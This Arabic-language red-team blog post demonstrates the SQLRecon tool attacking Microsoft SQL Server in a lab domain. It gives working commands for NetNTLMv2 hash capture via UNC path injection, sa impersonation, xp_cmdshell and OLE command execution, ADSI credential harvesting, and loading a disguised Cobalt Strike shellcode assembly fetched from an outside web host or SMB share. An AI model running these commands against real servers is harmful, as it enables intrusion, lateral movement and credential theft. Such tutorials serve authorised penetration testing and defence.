انتبهوا إلى قواعد البيانات: اختراق Microsoft SQL Server باستخدام SQLRecon.

على مدار مسيرتي المهنية، حظيت بفرصة مميزة للاطلاع على ما يدور خلف الكواليس في عدد من أكبر المؤسسات في العالم. وبناءً على خبرتي، تعتمد معظم المجالات على شبكات Windows الخاصة بالمؤسسات. في الواقع، يمكنني العد على أصابع اليد الواحدة عدد المرات التي رأيت فيها شبكة لامركزية ذات ثقة صفرية، أو شبكة Linux مؤسسية، أو شبكة macOS، أو بديل Active Directory (FreeIPA).

وفي أثناء استكشافي لهذه الشبكات المؤسسية الكبيرة والمعقدة في كثير من الأحيان، كان من الشائع اكتشاف خوادم Microsoft SQL Server، والتي عادةً ما تُنشر لدعم وظيفة من وظائف الأعمال. بالنسبة إلى القراء الذين لا يعرفون SQL Server، هو باختصار برنامج قاعدة بيانات علائقية عادةً ما يُجرى تثبيته على خادم Windows. الغرض الأساسي من SQL Server هو تخزين البيانات وتوفيرها للتطبيقات أو المستخدمين.

سيتناول منشور المدونة هذا نطاق الهجوم الذي يتيحه SQL Server، وكيفية استغلال الأخطاء في التكوينات والثغرات الأمنية باستخدام أداة X-Force Red SQLRecon . بالإضافة إلى ذلك، سنحدد عوامل الحماية حيثما أمكن.

لقد وُثقت الثغرات الأمنية والتكوينات الخاطئة الموجودة في SQL Server بشكل جيد. وعلى الرغم من أن نقاط الضعف هذه موجودة دائمًا على ما يبدو، إلا أنه بطريقة ما لا تزال الفرق الدفاعية تتجاهل تعزيز أمان SQL Server في كثير من الأحيان. وهنا أشير بشكل أساسي إلى تعزيز أمان التكوينات الأساسية ومنع الوصول السهل إلى الخدمة.

أحد المبررات المنطقية لهذا التجاهل هو أن هناك مخاطر أكبر تحتاج المؤسسة إلى إعطاء الأولوية لها والتصدي لها. ونتيجة لذلك، يسقط تعزيز أمان SQL Server من حساباتهم، حيث قد يؤدي التلاعب بتكوينات قواعد البيانات الإنتاجية إلى مشكلات في التوافر، والتي قد تتحول إلى مشكلات تشغيلية وتؤثر في النهاية في إنتاجية الأعمال.

واحدة من أكثر التكوينات الخاطئة شيوعًا التي أراها دومًا في الشبكات المؤسسية هي إمكانية اتصال أي كائن نطاق معتمد بخدمة SQL كحساب منخفض الامتيازات. وهذا لا يتطلب سوى سياق نطاق صالح. بمعنى آخر، رمز مميز صالح لمستخدم النطاق أو حساب كمبيوتر النطاق.

ولتوضيح مثال على ذلك، إذا تعرض جهاز عمل مستخدم أعمال عادي للاختراق وكان هناك مسار شبكة يوصل إلى SQL Server ذي تكوينات خاطئة، فمن الممكن للخصم أن يفعل ما يلي:

• تنفيذ أوامر SQL محدودة على خادم SQL Server البعيد.
• تحديد الامتيازات التي يتمتعون بها، ما يمكن أن يوفر فرصًا لزيادة الامتيازات من خلال هجمات انتحال الهوية.
• توجيه تعليمات إلى SQL Server بتوفير بيانات المصادقة من خلال طلب موجه إلى مسار اصطلاح التسمية العالمي (UNC)، ما قد يؤدي إلى الحصول على بيانات اعتماد مشفرة، والتي يمكن اختراقها أو تمريرها لتنفيذ هجمات إعادة التوجيه.
• الاستفادة من الصلاحيات المعينة لخادم SQL Server مرتبط بخوادم SQL Server أخرى، ما قد يؤدي إلى زيادة الامتيازات.

هذه مجرد أمثلة على ما يمكن أن يحققه الخصم عند تقييم خادم SQL Server ذي تكوينات خاطئة ضمن سياق النطاق. نطاق الهجوم الذي يتيحه SQL Server سيعتمد دائمًا على البيئة والتكوينات التي ستتعامل معها.

في الآونة الأخيرة، كان مشغلو هجمات الفريق الأحمر محظوظين بتنوع هجمات Active Directory التي يمكن استغلالها لزيادة الامتيازات في شبكات Microsoft المؤسسية. ومع ذلك، مع بدء فرق الدفاع في السيطرة على هذه الثغرات الأمنية، من الطبيعي أن تتقلص سبل زيادة الامتيازات من خلال هجمات Active Directory.

لكن ما زلنا نواصل مسيرتنا ونشق طريقنا في قائمة الهجمات المعروفة، ونبحث بتفاؤل عن مسارات لزيادة الامتيازات تساعدنا على العمل على تحقيق أهدافنا. أنا متردد نوعًا ما في الاعتراف بأنه لفترة طويلة، كانت مهاجمة SQL Server في أسفل القائمة بالنسبة لي. فبدلاً من ذلك، اخترت إعطاء الأولوية لأشياء مثل مساحات التخزين المشتركة، وتطبيقات الويب الداخلية، وأدوات عمليات التطوير، أو البنية التحتية للسحابة. ربما يمكنك تخمين ما أقصده بذلك ...

في فترة ما من عام 2022، كنت في مهمة ووصلت إلى نقطة تعثر بعد استنفاد جميع المسارات المفضلة لزيادة الامتيازات. ويرجع هذا إلى حد كبير إلى البيئة المعززة أمنيًا بشكل استثنائي. على الأقل، هذا ما كنت أعتقده قبل أن أكتشف مجموعة كبيرة من SQL Server، والتي لابد أن يكون فيها تكوينات خاطئة أو ثغرات أمنية.

وما لم أكن أعلمه في ذلك الوقت، وبعد كتابة منشور المدونة هذا، اكتشفت أن Kaspersky توصلت إلى أن الهجمات المتكررة باستخدام SQL Server قد زادت بنسبة 56% في عام 2022. وهذه نسبة هائلة.

بصفتي مشغل هجمات الفريق الأحمر، غالبًا ما أتفاعل مع الأنظمة التي اخترقتها في شبكات عملائنا باستخدام إطار عمل للقيادة والتحكم (C2). عادةً ما يكون لدى العملاء الذين نحظى بالعمل معهم برامج أمن إلكتروني متطورة، وفرق دفاعية ذات إمكانات فائقة، وضوابط أمنية حديثة مثل حلول اكتشاف نقاط النهاية والاستجابة لها (EDR).

توجد العديد من الأدوات المطورة على مر السنين لمهاجمة SQL Server. لكن الذي كنت ألجأ إليها دومًا خلال أيام اختبار الاختراق هي PowerUpSQL . وهو مشروع أنشأه Scott Sutherland (@_nullbind)، وجرى تطويره بشكل أساسي باستخدام PowerShell.

يمكن أن تكون حلول اكتشاف نقاط النهاية والاستجابة لها خصمًا قويًا لأنها تؤدي دورًا رائعًا في اكتشاف الأدوات مفتوحة المصدر الخبيثة والمصممة لأغراض أمنية هجومية، خاصةً تلك التي تعتمد على PowerShell. وهذا لا يعني التقليل من شأن أدوات PowerShell لما بعد الاستغلال، فهي تخدم غرضًا معينًا، ولكنها ليست مناسبة للمشكلة التي كنت أواجهها في البيئة التي كنت فيها.

كانت المشكلة التي واجهتها في مهمتي هي أنني كنت بحاجة إلى إيجاد طريقة للاتصال بخوادم Microsoft SQL Server والبدء في فحصها لتحديد ما إذا كان هناك أي تكوينات خاطئة أو ثغرات أمنية. لكن، كان استخدام أي من أدوات SQL Server المتوفرة لما بعد الاستغلال، والتي تعتمد على PowerShell، وسيلة مؤكدة للوقوع في قبضة فريق الدفاع. ويرجع ذلك إلى عدة أسباب، لن أتطرق إليها بتفصيل كبير، لكن PowerShell ليست الخيار المثالي لتنفيذ هجمات ما بعد الاستغلال بسبب المزايا الأمنية مثل AMSI، ووضع اللغة المقيد، وأنماط التسجيل المختلفة. ويزداد هذا الأمر تعقيدًا عندما يكون هناك حل لاكتشاف نقاط النهاية والاستجابة لها وضوابط تسجيل ومراقبة أخرى مطبقة.

وكحل بديل، غالبًا ما يلجأ مشغلو هجمات الفريق الأحمر إلى اختيار C# كلغة لتطوير أدوات ما بعد الاستغلال، نظرًا إلى أنها توفر طريقة سهلة للتفاعل مع إطار عمل .NET إلى جانب واجهات برمجة تطبيقات Windows.

أنا لست مطور C# أو .NET بأي حال من الأحوال، لكنني لدي المعرفة الكافية لكتابة أدوات تحل المشكلة التي أواجهها. قائمة الانتظار SQLRecon ، وهي مجموعة أدوات C# SQL مصممة للاستطلاع الهجومي وعمليات ما بعد الاستغلال.

SQLRecon  تساعد على سد فجوة أدوات بعد الاستغلال من خلال تحديث النهج الذي يمكن لمشغلي هجمات الفريق الأحمر اتباعه عند مهاجمة SQL Server. وقد صُممت هذه الأداة لتكون معيارية، ما يتيح سهولة التوسعة. SQLRecon  مناسبة للاستخدام إما بمفردها أو ضمن مجموعة متنوعة من أُطر عمل C2. عند استخدام الأخيرة، SQLRecon  يمكن تنفيذها إما داخل العملية أو من خلال أسلوب الفصل والتشغيل التقليدي.

SQLRecon  لديها أكثر من 80 وحدة للاختيار من بينها. فيما يلي نظرة عامة ملخصة لبعض المزايا التي توفرها SQLRecon :

مزود المصادقة

• حساب SQL Database المحلي
• مصادقة نطاق Windows استنادًا إلى الرمز المميز الحالي
• مصادقة نطاق ويندوز باستخدام بيانات الاعتماد المقدمة من المستخدم
• مصادقة نطاق Azure
• مصادقة Azure المحلية

وحدات التعداد

• تحديد موقع خوادم SQL Server المرتبطة باسم الخدمة الأساسي (SPN)
• الحصول على معلومات حول خدمة SQL
• تحديد الامتيازات داخل SQL Server
• إدراج قواعد البيانات والجداول والأعمدة والمستخدمين
• البحث في قواعد البيانات عن المحتوى
• تنفيذ استعلامات عشوائية
• تعداد المستخدمين الذين يمكن انتحال هوياتهم
• تحديد خوادم SQL Server المتصلة

تنفيذ الأوامر والحركة الجانبية وزيادة الامتيازات

• xp_cmdshell
• إجراءات أتمتة OLE
• تحميل تجميعات .NET CLR المخصصة وتنفيذها
• مهام SQL Agent
• جمع بيانات الاعتماد باستخدام ADSI

الأمن التشغيلي

• التحقق المستمر من المصادقة
• التسجيل الشامل لسطر الأوامر
• ضوابط التنفيذ المستندة إلى ما إذا كانت خيارات SQL Server ممكّنة أو معطلة
• معالجة أخطاء الوسائط
• الإنشاء العشوائي لمحتوى SQL الأبجدي الرقمي حيثما أمكن
• التنظيف التلقائي للبيانات المُنشأة في SQL Server لأغراض تنفيذ الأوامر

أخرى

• إمكانية تبديل سياقات قواعد البيانات
• الاتصال بخوادم SQL Server التي تتابع منافذ TCP غير القياسية
• دعم هجمات انتحال الهوية
• إمكانية تعداد خوادم SQL Server المتصلة ومهاجمتها
• دعم مجموعة متنوعة من هجمات قواعد بيانات SQL في Microsoft Systems Center Configuration Manager (SCCM) وMicrosoft Endpoint Configuration Manager (ECM)
• تستخدم جميع استعلامات SQL مساحة الاسم System.Data.SqlClient  ، التي طورتها Microsoft

للحصول على معلومات مفصلة عن استخدام كل تقنية، يُرجى الرجوع إلى الويكي.

تمهيدًا للعروض التوضيحية القادمة، سأشغل جهاز Windows 10 مخترق ملك Jeff Smith(JSmith) في الشبكة المؤسسية kawalabs.local  .

جهاز Jeff لديه مسار شبكي للاتصال بثلاثة خوادم SQL Server، كل منها يعمل بإصدار مختلف؛ 2016، و2019 و2022.

تم تكوين رابط SQL بين SQL01  و SQL02 ، وقد جرى تكوين رابط SQL آخر بين SQL02  و SQL03 . بالنسبة إلى القراء الذين ليسوا على دراية بخوادم SQL المتصلة، هذه خوادم تسمح بشكل فعال لمثيل SQL Server واحد بتنفيذ جمل SQL على مثيل SQL Server آخر. على سبيل المثال، SQL01  يمكنه تنفيذ جمل SQL على SQL02, و SQL02  يمكنه تنفيذ الجمل على SQL03، لكن SQL01 لا يمكنه تنفيذ الجمل على SQL03  والعكس صحيح. من الشائع رؤية خوادم SQL Server متصلة في الشبكات المؤسسية الفعلية.

بالإضافة إلى ذلك، يوجد رابط Active Directory Services (ADSI) بين SQL03  ووحدة التحكم بالنطاق الأساسية في نطاق kawalabs.local  ، DC01 . تتيح روابط ADSI لخادم SQL Server طريقة للتفاعل مع كائنات Active Directory.

وأخيرًا، يتصل نطاق kawalabs.local  بنطاق Azure Active Directory، kawalabs.onmicrosoft.com  باستخدام Azure AD Connect. ويُتيح هذا لمستخدمي Active Directory في البيئة المحلية في kawalabs.local  إمكانية الوصول إلى الموارد المتوفرة على سحابة Azure. يحتوي  kawalabs.onmicrosoft.com  إيجار Azure AD على خادم SQL Server يخزن بيانات الدفع، ECOM01 .

الشكل 1: تكوين الشبكة

وأيضًا، سأستخدم Cobalt Strike، وهو إطار عمل شهير للقيادة والتحكم، لأداء مهام ما بعد الاستغلال من جهاز Jeff المخترق(DESKTOP-LF8Q3C6) في لقطة الشاشة التالية، كنت قد نفذت whoami  الأمر. وهذا فقط لإظهار أن Jeff ليس مستخدمًا يحظى بامتيازات وإنما لديه حقوق أساسية داخل نطاق kawalabs.local  والشبكة الأوسع.

الشكل 2: إصدار الأمر whoami 

في وقت كتابة هذا المقال،SQLRecon يحتوي على وحدتي تعداد يمكن استخدامهما لاكتشاف خوادم SQL Server الموجودة ضمن الشبكة، بالإضافة إلى الحصول على بعض المعلومات عن مثيل SQL Server. سينفذ الأمر التالي عملية تعداد الأسماء الأساسية لخدمات (SPNs) Active Directory ويحدد ما إذا كانت هناك أي أسماء SPN محددة لخوادم SQL Server. في نطاق kawalabs.local ، يوجد اسم SPN معيّن لحسابين مختلفين، وهذا موضح في لقطة الشاشة أدناه.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

الشكل 3: اكتشاف خوادم SQL Server من خلال جمع SPN

يتم info  هي وحدة مفيدة للغاية للحصول على معلومات إضافية حول الخادم. يوضح المثال أدناه نوع المعلومات التي تُسترد من SQL Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

الشكل 4: الحصول على معلومات حول SQL02

تحية إلى Daniel Duggan (@_RastaMouse) على إسهاماته في وحدات التعداد في SQLRecon .

تُستخدم الوحدات القياسية مع مثيل واحد من SQL Server.

في المثال التالي، أستخدم مزود المصادقة AzureAD  ، والذي يستخدم اسم المستخدم وكلمة المرور لحساب Azure Active Directory للمصادقة على ECOM01 ، وهو مثيل SQL موجود على سحابة Azure. ثم أستخدم وحدة whoami  لتحديد الامتيازات التي يحظى بها Jeff على ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

الشكل 5: تعداد امتيازات SQL للمستخدم jsmith@kawalabs.onmicrosoft.com

بشكل افتراضي، سيتصل SQLRecon  بقاعدة بيانات master  ، حيث توجد قاعدة البيانات هذه عادةً في جميع مثيلات SQL Server. ومع ذلك، يمكنك بسهولة إدراج جميع قواعد البيانات المختلفة على مثيلات SQL Server باستخدام وحدة databases  .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

الشكل 6: تعداد قواعد البيانات ECOM01

يمكنك الاتصال بقواعد البيانات الأخرى عن طريق تحديد اسم قاعدة البيانات باستخدام العلامة /database : وتمرير أي وحدة تريد استخدامها. في المثال أدناه، أتصلت بقاعدة بيانات Payments  على ECOM01  وأجريت استعلام SQL مخصصًا للحصول على جميع محتوى جدول cc  .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"

الشكل 7: الحصول على بيانات بطاقة وهمية من cc  الجدول في Payments  على ECOM01

بالنظر إلى بعض الوحدات الأكثر أهمية، تدعم SQLRecon  حقن مسار UNC، والذي يمكن تنفيذه من خلال حساب مستخدم منخفض الامتيازات، مثل KAWALABS\JSmith . يمكن أن يؤدي ذلك إلى الحصول على بيانات اعتماد مشفرة، والتي يمكن اختراقها أو تمريرها لتنفيذ هجمات إعادة التوجيه. في المثال التالي، أستخدم مزود المصادقة WinToken  ، الذي يستخدم الرمز المميز لحساب المستخدم KAWALABS\JSmith  ، للمصادقة على SQL02 ، وهو خادم محلي.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

الشكل 8: حقن مسار UNC

في لقطة الشاشة التالية، يمكننا رؤية الاتصال الذي يجريه SQL02  بمضيف يقع تحت سيطرتنا (172.16.10.19). تؤدي هذه النتائج إلى الحصول على تشفير NetNTLMv2 لحساب النطاق KAWALABS\mssql_svc  .

الشكل 9: الحصول على تشفير NetNTLMv2 لحساب KAWALABS\mssql_svc

SQLRecon  يحتوي على مجموعة متنوعة من وحدات تنفيذ الأوامر التي يمكن استخدامها لتنفيذ أوامر عشوائية على النظام الأساسي. وهذا مفيد بشكل خاص إذا كنت تسعى إلى تنفيذ زيادة الامتيازات و/أو الحركة الجانبية. وقد طُبقت ضوابط مهمة عبر SQLRecon لضمان تمكين الأمان التشغيلي بشكل افتراضي. الضابطان الأساسيان هما ما يلي:

• التحقق المستمر من المصادقة، حيث ستتحقق SQLRecon  من إمكانية التحقق من المصادقة على النطاق أو SQL Server قبل استخدام أي وحدة.
• ضوابط الاستخدام، حيث ستتحقق SQLRecon  من وجود الظروف المثلى قبل استخدام أي وحدة تُحمل الكائنات أو تُنشئها أو تنفذ الأوامر.

xp_cmdshell لطالما كانت واحدة من أكثر الطرق شيوعًا التي يمكن من خلالها تنفيذ الأوامر على الخادم الأساسي عبر قاعدة بيانات SQL. في المثال التالي، استخدمت الحساب منخفض الامتيازات KAWALABS\JSmith  لمحاولة تشغيل تطبيق notepad.exe  على SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

الشكل 10: عرض توضيحي لضابط يمنع عملية تنفيذ الأوامر من الحدوث

كما هو موضح في الصورة أعلاه، واجهنا ضابط استخدام، وتلقينا رسالة خطأ تشير إلى أن xp_cmdshell  معطل. وعادةً ما يكون هذا هو التكوين الافتراضي في معظم إصدارات SQL Server. والشيء الجيد هو أن SQLRecon  يحتوي على وحدة enableXp  ، والتي ستُمكّن تكوين xp_cmdshell  . تحتوي SQLRecon أيضًا على وحدة disableXp  حتى تتمكن من العودة إلى الحالة الآمنة الأصلية بعد تنفيذ الأمر باستخدام xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

الشكل 11: عرض توضيحي لضابط آخر، حيث تمنع الامتيازات غير الكافية تنفيذ الأوامر

كما هو متوقع، واجه الحساب منخفض الامتيازات KAWALABS\JSmith  ضابط استخدام وتلقى رسالة مفادها أنه ليس لديه الامتيازات اللازمة لتمكين أو تعطيل xp_cmdshell  ... أم أنه لديه؟

انتحال هوية SQL هو إذن خاص يُمكّن مستخدم أو مجموعة بشكل أساسي من العمل بإذن مستخدم آخر، بالإضافة إلى أذوناته الخاصة. لقطة الشاشة التالية مأخوذة من تكوين واجهة SQL02  الخلفية وتُظهر أن BUILTIN\Users  يمكنه انتحال هوية حساب sa  .

الشكل 12: BUILTIN\Users  يمكن أن ينتحل هوية sa حساب على وحدة SQL02

SQLRecon  يحتوي على وحدة impersonate  للمساعدة على تحديد ما إذا كان حساب المستخدم يمكنه انتحال هوية مستخدم آخر.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

كما هو موضح في لقطة الشاشة أدناه، يمكن لحساب المستخدم KAWALABS\JSmith  منخفض الامتيازات انتحال هوية sa حساب على وحدة SQL02 . وهذا يوضح إمكانية تنفيذ الأوامر على مثيل SQL بامتيازات شبيهة بامتيازات المسؤول. علاوة على ذلك، هذا يعني أنه يمكننا الآن تنفيذ أوامر النظام على الخادم الأساسي.

الشكل 13: تعداد الحسابات التي يمكن انتحال هويتها على SQL02

لتوضيح وحدة أخرى لتنفيذ الأوامر، يمكن أن تنفذ SQLRecon  الأوامر على المستخدم الأساسي باستخدام إجراءات أتمتة OLE. وهذا يستخدم مجموعة odsole70.dll  للتفاعل مع كائنات COM بحيث يمكن الاستفادة من wscript.shell  لتشغيل أوامر النظام العشوائية.

تُضاف إلى وحدات انتحال الهوية دائمًا الحرف i ، وستحتاج هذه الوحدات إلى اسم الحساب الذي ستُنتحل هويته. في المثال التالي، اتصلت بحساب SQL02  كحساب منخفض الامتيازات KAWALABS\JSmith  وانتحلت هوية حساب sa  لتمكين إجراءات أتمتة OLE على SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

الشكل 14: تمكين إجراءات أتمتة OLE باستخدام انتحال الهوية

الآن، بعد تمكين إجراءات الأتمتة OLE على SQL02 ، أصبحت في وضع يسمح لي بتنفيذ أي أمر عشوائي على الخادم الأساسي في سياق حساب المستخدم الذي بدأ عملية SQL Server. في المثال التالي، أنفذ عملية PowerShell فرعية تدرج محتويات المجلد المشارك نفسه الذي كان يُستخدم سابقُا لجمع بيانات اعتماد NetNTLMv2. ضع في حسبانك أن هذا الأمر مخصص إلى حد كبير لأغراض توضيحية ولا يكون عادةً إجراءً يُنفذ في مهمة محاكاة للخصم.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

الشكل 15: استخدام PowerShell لإدراج محتويات مجلد على مضيف بعيد

كما هو موضح في لقطة الشاشة أعلاه، يُنشأ كائن وطريقة OLE بشكل عشوائي، ثم يُنفذ الأمر الخبيث، وتُدمر كائنات OLE. وهذا أمر مقصود؛ لأننا لا نريد أن نترك أي دليل على أفعالنا.

في لقطة الشاشة التالية، يمكننا رؤية الاتصال الذي يجريه حساب المستخدم KAWALABS\mssql_svc  عبر SQL02  بمضيف يقع تحت سيطرتنا (172.16.10.19). وهذا يؤدي إلى الحصول على تشفير NetNTLMv2 الخاص بحساب الكمبيوتر KAWALABS \mssql_svc  .

الشكل 16: الحصول على تشفير NetNTLMv2 لحساب KAWALABS\mssql_svc

يوضح المثال التالي استخدام انتحال الهوية لتنفيذ أمر tasklist  باستخدام xp_cmdshell  في SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

الشكل 17: تمكين xp_cmdshell  وتنفيذ أوامر النظام باستخدام انتحال الهوية على SQL02

ومن الممارسات الجيدة دائمًا إعادة التكوينات إلى الحالة التي كانت عليها في الأصل.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

الشكل 18: تعطيل إجراءات أتمتة OLE و xp_cmdshell  في SQL02

SQLRecon  يمكنه أيضًا تنفيذ هجمات ضد مثيلات SQL Server المتصلة. لقطة الشاشة التالية مأخوذة من تكوين واجهة SQL02  الخلفية وتُظهر أن SQL02  الخلفية وتُظهر أنه متصل مع SQL03 . وعلى حسب خبرتي، هذا تكوين شائع في شبكات المؤسسات الكبيرة.

الشكل 19: SQL02  يحتوي على رابط SQL إلى SQL03

غالبًا ما يتطلب تكوين رابط من مثيل SQL Server إلى أخر مجموعة من بيانات الاعتماد ذات الامتيازات لإنشاء رابط ووصله. وهذا مفيد للخصوم لأنه يسمح بتنفيذ الأوامر على SQL Server المتصل في سياق الحساب الذي أنشأ الاتصال. ثمة نقطة أخرى ينبغي أن تؤخذ في الحسبان وهي أن الخوادم المتصلة قد تكون مفصولة عن الشبكة التي يعمل عليها الخصم. وذلك قد يتيح الفرصة لاجتياز حدود الانفصال والدخول إلى منطقة شبكة ذات متطلبات أمنية أعلى.

SQLRecon  لديه links وحدة لتحديد ما إذا كان SQL Server يحتوي على أي مثيلات SQL متصلة.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

الشكل 20: تعداد خوادم SQL المتصلة على SQL02

يُضاف دائمًا إلى الوحدات المتصلة الحرف l ، وستحتاج هذه الوحدات إلى اسم الخادم المتصل الذي تريد إصدار الأوامر عليه. في المثال التالي، اتصلت بحساب SQL02  كحساب منخفض الامتيازات KAWALABS\JSmith  وأصدرت الأمر lWhoami  على المثيل المتصل SQL03  .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

الشكل 21: تعداد امتيازات SQL التي يمكننا افتراضها على SQL03  عبر SQL02

كما هو موضح في لقطة الشاشة أعلاه، فإننا نعمل في سياق sa حساب على وحدة SQL03 . وذلك لأن حساب sa استُخدم لإنشاء رابط SQL من SQL02  إلى SQL03 .

جميع وحدات التنفيذ في SQLRecon  مدعومة بالكامل على خوادم SQL Server المتصلة. في المثال التالي، أُمكن عملية تكامل وقت تشغيل اللغة العامة(CLR) على SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

الشكل 22: تمكين تكامل CLR على SQL02

يسمح تكامل CLR باستيراد تجميعات .NET المخصصة إلى SQL Server. تُخزن هذه التجميعات داخل إجراء مُخزن قبل تنفيذها. وهذه بيانات بدائية جيدة لهجوم الحركة الجانبية.

في لقطة الشاشة التالية، أُنشئ تجميع .NET مخصص ومتوافق مع SQL Server CLR يُسمى hollow.dll .  وهذا سيؤدي إلى تخزين حمولة Cobalt Strike في إجراء مخزن يُسمى ExecuteShellcode . تنفذ الحمولة تفريغ أساسي للعمليات وتحقن كود Cobalt Strike shellcode في عملية Internet Explorer المُنشأة حديثًا(iexplore.exe) .

الشكل 23: hollow.dll ، وهو تجميع .NET متوافق مع SQL Server CLR

إذا كنت مهتمًا بمعرفة المزيد حول تجميعات .NET المخصصة والمتوافقة مع SQL Server CLR، تفضل بزيارة قسم Clr في SQLRecon  الويكي. يمكنك العثور على مثال على hollow.dll  هنا.

في العرض التوضيحي التالي، رفعت hollow.dll  إلى خادم ويب وأعدت تسمية التجميع إلى favicon.png . وجهت أمرًا إلى الخادم المتصل SQL03  لتنزيل favicon.png  من خادم ويب وتنفيذ الخطوات اللازمة لاستيراد التجميع المخصص إلى إجراء SQL Server مُخزن وتنفيذ الحمولة. يؤدي هذا إلى الحصول على إشارة Cobalt Strike في سياق KAWALABS\mssql_svc  المستخدم على SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

الشكل 24: الحصول على إشارة Cobalt Strike في سياق KAWALABS\mssql_svc  في SQL03

بالطبع، المثال السابق يتطلب أن يكون لدى SQL03  إمكانية الوصول إلى الإنترنت لتنزيل التجميع من خادم ويب عام. ثمة حالات يكون فيها تنزيل مورد خارجي من خادم ويب عام أمرًا غير ممكن أو غير مرغوب فيه. وعلى هذا النحو، يسمح SQLRecon  بتحميل التجميعات المخصصة مباشرةً من نظام ملفات المضيف المخترق أو من مشاركة SMB. في العرض التوضيحي التالي، رفعت hollow.dll  إلى خادم SMB محلي وأعدت تسمية التجميع إلى Reports.xlsx . وجهت أمرًا إلى الخادم المتصل SQL03  لتنزيل Reports.xlsx  من خادم SMB ونفذت الخطوات اللازمة لاستيراد التجميع المخصص إلى إجراء SQL Server مُخزن وتنفيذ الحمولة. يؤدي هذا إلى الحصول على إشارة Cobalt Strike في سياق KAWALABS\mssql_svc  المستخدم على SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

الشكل 25: الحصول على إشارة Cobalt Strike في سياق

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  يمكن أيضًا أن تنفذ هجمات ضد مثيلات ADSI Server المتصلة للحصول على بيانات اعتماد غير مشفرة لحسابات النطاق. لمزيد من المعلومات الإضافية حول تقنيات اختراق ADSI، يُرجى الاطلاع على منشور مدونة Tarlogic. لقطة الشاشة التالية مأخوذة من تكوين واجهة SQL03  الخلفية وتُظهر أن SQL03  خلفية وتبين أن هناك رابط ADSI إلى وحدة التحكم بالنطاق الأساسية في kawalabs.local  ، DC01 . ويمثل رابط ADSI هذا الكائن linkADSI  .

الشكل 26: SQL03  يحتوي على رابط ADSI إلى DC01

لا يتطلب تكوين رابط ADSI من مثيل SQL Server إلى وحدة التحكم في نطاق Active Directory بالضرورة بيانات اعتماد ذات امتيازات. ومع ذلك، خلال العمليات الواقعية، رأيت حالات لم يُطبق فيها مبدأ الحد الأدنى من الامتيازات.

في المثال التالي، أستخدم مزود المصادقة lLinks وحدة للاتصال أولاً مع SQL02 ، ثم استعلام SQL03  بحثًا عن خوادم SQL Server متصلة إضافية. يمكنك تخيل الأمر كسيناريو رابط مزدوج.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

الشكل 27: تعداد الروابط SQL03  من SQL02

الآن بعد أن تأكدنا من وجود رابط ADSI على SQL03 ، يمكننا الاستفادة من وحدة lAdsi  للحصول على بيانات اعتماد النطاق غير المشفرة والمستخدمة لتكوين اتصال ADSI من SQL03  إلى DC01 . يتضمن ذلك رفع تجميع CLR مخصص يحتوي على خادم LDAP إلى روتين جديد لوقت تشغيل SQL Server على SQL03 . عندئذٍ، سينفذ خادم LDAP ويتابع الاتصالات المحلية فقط على المنفذ الذي يوفره المستخدم، وهو في هذه الحالة 49103. ثم، نستفيد من مهام وكيل SQL Server على SQL03 لتوجيه بيانات الاعتماد المستخدمة لتكوين اتصال ADSI من أجل توجيه طلب LDAP إلى خادم LDAP المحلي على المنفذ 49103. وإعادة توجيه مصادقة LDAP المؤقتة هذه هي ما يؤدي في النهاية إلى الحصول على بيانات اعتماد النطاق غير المشفرة. تجدر الإشارة إلى أن وحدتي Adsi و iAdsi لا تستخدمان مهام وكيل SQL Server لبدء عملية توجيه طلب LDAP، بل يستخدمان استعلامات SQL القياسية.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

الشكل 28: هجوم جمع بيانات اعتماد ADSI باستخدام الرابط المزدوج

تأتي أهم إضافات SQLRecon  من زميلي Dave Cossa (@G0ldenGunSec)، الذي قدم مجموعة متنوعة من الوحدات التي يمكن الاستفادة منها لاختراق Microsoft Systems Center وMicrosoft Endpoint Configuration Manager (ECM). جرى تطوير وحدات SCCM بناءً على مهمة واقعية، حيث سهّل استغلال قاعدة بيانات SCCM SQL Server تقدمنا نحو تحقيق الأهداف. في معظم الحالات، للتفاعل مع قاعدة بيانات SCCM، يجب الحصول على سياق امتيازات مرتفعة، أو يجب الحصول على صلاحية الوصول إلى خادم SCCM. في الأمثلة أدناه، لديّ إشارة Cobalt Strike تعمل في سياق حساب KAWALABS\mssccm_svc  على خادم ECM، MECM01 .

سأشير ببساطة إلى كل من ECM وSCCM باسم SCCM من الآن فصاعدًا.

في المثال التالي، أستخدم وحدة قواعد البيانات لتعدادdatabases الموجودة في مثيل SQL Server على MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

